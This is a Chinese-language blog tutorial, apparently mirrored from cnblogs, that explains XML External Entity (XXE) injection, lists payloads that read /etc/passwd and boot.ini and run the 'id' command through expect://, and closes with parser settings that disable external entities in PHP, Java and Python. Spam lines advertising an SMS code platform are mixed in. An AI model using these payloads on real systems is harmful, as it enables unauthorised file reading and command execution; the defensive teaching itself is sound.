码迷,mamicode.com
首页 > 其他好文 > 详细

XXE漏洞简介以及Payload收集

时间:2020-03-20 21:50:44      阅读:253      评论:0      收藏:0      [点我收藏+]

标签:font   协议   ade   html   过滤   ffffff   特定   dbf   修复   

 

 

一、.漏洞简介

  1.什么是XXE漏洞。

    XXE漏洞,全称XML External Entity 漏洞,也是一种注入漏洞。原理是将自己的恶意代码输入插入到Web应用构造的XML中,Web应用如果没有对用户的输入进行有效的过滤,那么就会解析带有恶意代码的XML,从而实现攻击者的目的。

  2.XXE漏洞有什么危害

    成功利用XXE漏洞可以实现任意文件读取、SSRF、DoS,特定情况下可以实现命令执行。

_ _ _ _ _ _ _ _ __ _ _ _ _ _ _ _ __ _ _ _ _ _ _ _ __ _ _ _ _ _ _ _ __ _ _ _ _ _ _ _ _接码平台 _ __ _ _ _ _ _ _ _ __ _ _ _ _ _ _ _ __ _ _ _ _ _ _ _ __ _ _ _ _ _ _ _ __ _ _ _ _ _ _ _ _ _ __ _ _ _ _ _ _ _ _ _ __ _ _ _ _ _ _ _ _

二、怎样利用XXE漏洞

  1.文件读取:

    这里分为Windows服务器和Linux服务器两种环境。首先是Windows的代码:

    

<?xml version="1.0"?>
    <!DOCTYPE root [
    <!ENTITY % file SYSTEM "file:///c://boot.ini">
    %file;
]]>

    

    然后是Linux的代码:

    

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "file:///etc/passwd" >
    ]>
<foo>&xxe;</foo>

    可以看到都是先定义一个名为XXE的外部实体,后面接SYSTEM或者PUBLIC都可以,然后将文件名用引号括起来。注意这里的file协议后面有三个反斜杠。最后一步是在一个<foo>标签中调用之前定义的外部实体。实战中不一定是foo这个名字,可以根据实际情况进行调整。

  2.命令执行。

  之前就说过了这个需要特定情况下才行,具体的条件是:1.支持expect协议 2. php  。执行id命令代码如下:

  

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE ANY[
    <!ENTITY xxe SYSTEM "expect://id" >
    ]>
<foo>&xxe;</foo>

  3.Dos拒绝服务。

  这个原理是递归调用外部实体,让解析器陷入嵌套循环不能自拔,造成拒绝服务。具体代码我就不展示了。

_ _ _ _ _ _ _ _ __ _ _ _ _ _ _ _ __ _ _ _ _ _ _ _ __ _ _ _ _ _ _ _ __ _ _ _ _ _ _ _ __ _ _ _ _ _ _ _ __ _ _ _ _ _ _ _ __ _ _ _ _ _ _ _ __ _ _ _ _ _ _ _ __ _ _ _ _ 2020最新接码平台_ _ _ __ _ _ _ _ _ _ _ __ _ _ _ _ _ _ _ _

三、如何修复和防御XXE漏洞。

  XXE的漏洞其实防御起来并不难。首先按照通用防御注入的思路去防御,就是过滤用户输入的代码,可以看到实现一个XXE攻击需要的特殊字符还是挺多的,那些用户输入一般不会用到的特殊字符就是我们需要重点过滤的。例如/<>"&等。但是这些过滤一定要在不影响业务的前提下才能实行。第二种方法其实非常简单,编程语言一般都自带一个是否解析外部实体的方法,如果业务中用不到外部实体,那么就可以直接调用这个方法即可。这里以PHP、Java和Python为例写一下具体的方法:

  PHP:

libxml_disable_entity_loader(true);

  

  Java:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

  

  Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

  

XXE漏洞简介以及Payload收集

标签:font   协议   ade   html   过滤   ffffff   特定   dbf   修复   

原文地址:https://www.cnblogs.com/jiemapingtai/p/12534914.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!